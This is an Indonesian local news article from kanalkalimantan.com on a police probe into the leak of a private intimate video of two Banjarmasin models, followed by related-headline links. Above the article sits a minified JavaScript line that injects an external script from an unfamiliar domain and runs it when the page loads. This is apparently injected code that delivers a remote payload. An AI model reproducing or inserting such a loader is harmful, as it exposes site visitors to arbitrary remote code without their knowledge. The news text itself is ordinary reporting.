(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Satreskrim Polresta Banjarmasin terus menyelidiki kasus tersebarnya video mesum antara pemeran pria berinsial G dengan pemeran wanita berinisial N, yang membuat geger warganet Banjarmasin.
Ditemui pada Senin (2/9) siang, Kasatreskrim Banjarmasin AKP Ade Papa Rihi menuturkan, kepolisian masih melakukan pemeriksaan sejumlah saksi. “Prinsipnya kita masih dalam proses pemeriksaan (para saksi). Hasil pemeriksaan ini masih kita dalami,†ucap AKP Ade saat ditemui kanalkalimantan.com.
AKP Ade menegaskan, pemeran pria G merasa keberatan dengan beredarnya video mesum yang merupakan video koleksinya bersama tunangannya. Salah seorang teman G, mendapati video mesum antara G dan pemeran N ini, dari salah satu akun media sosial yang memposting videonya.
Selain itu, AKP Ade menambahkan, pihaknya akan memanggil untuk pemeran perempuan N untuk dimintai keterangan. “Kita layangkan untuk (surat) panggilannya. Harus kita gelarkan dulu. Nanti untuk proses penyelidikan nanti ada tahapan-tahapannya,†tambah AKP Ade.
Sejauh ini, pihaknya belum bisa memastikan apakah tim cyber Polri akan dilibatkan dalam penyelidikan penyebaran video mesum ini. “Kita di sini juga punya tim sendiri, baik tim cyber polresta (Banjarmasin) maupun tum cyber polda (Kalsel). Sesuai dengan kebutuhan, nanti kita akan (lakukan), termasuk nanti hasil videonya pun yang sudah beredar nanti kita uji di labfor (laboratorium forensik),†kata AKP Ade.
“Walaupun saat ini dari hasil pemeriksaan, yang bersangkutan (pemeran pria G) sudah mengaku, dia selaku pemeran (dalam video mesum itu). Tapi, tetap harus kita buktikan, ini kan kaitannya dengan video yang beredar di media sosial tersebut,†tutup AKP Ade.
Diberitakan sebelumnya, kasus video mesum antara pemeran pria G dengan pemeran wanita N, tersebar dan membuat geger warganet Banjarmasin, akhir pekan tadi. Selain mendalami keterangan saksi, kepolisian juga berfokus untuk mengejar pelaku penyebaran video mesum ini.
Diketahui, keduanya merupakan sepasang model yang cukup dikenal di Kota Banjarmasin. Menurut keterangan polisi, N sebagai model fashion di sebuah butik di Banjarmasin. Sementara si laki-laki G juga seorang model di kota itu.
Baik N dan G merasa ada pihak yang telah sengaja menyebar video tersebut tanpa persetujuan darinya. Oleh karena itu keduanya juga telah membuat laporan polisi untuk segera menangkap si penyebar video.
G, pemeran dalam video panas Banjarmasin tersebut merasa nama baiknya tercemar atas beredarnya Video Panas itu. Ia merasa tidak terima karena video yang bersifat pribadi yang dibuat bersama pasangan N untuk koleksi pribadi itu menyebar luas di wilayah Kota Seribu Sungai ini.
G melaporkan kasus pencemaran nama baik ini lantaran dia tidak mengetahui siapa yang pertama kali membagikannya di media sosial. Pasalnya, handphone yang digunakan untuk merekam masih berada di genggaman G. Kemungkinan, video tersebut diambil diam-diam oleh orang yang tidak bertanggung jawab melalui peretasan.
“Memang benar, korban G sudah melapor ke kami dan sudah kami periksa dan dia juga sudah menunjukan handphone untuk merekam adegan syur bersama tunanganmya tersebut dan tidak hilang,” kata Ade. (fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.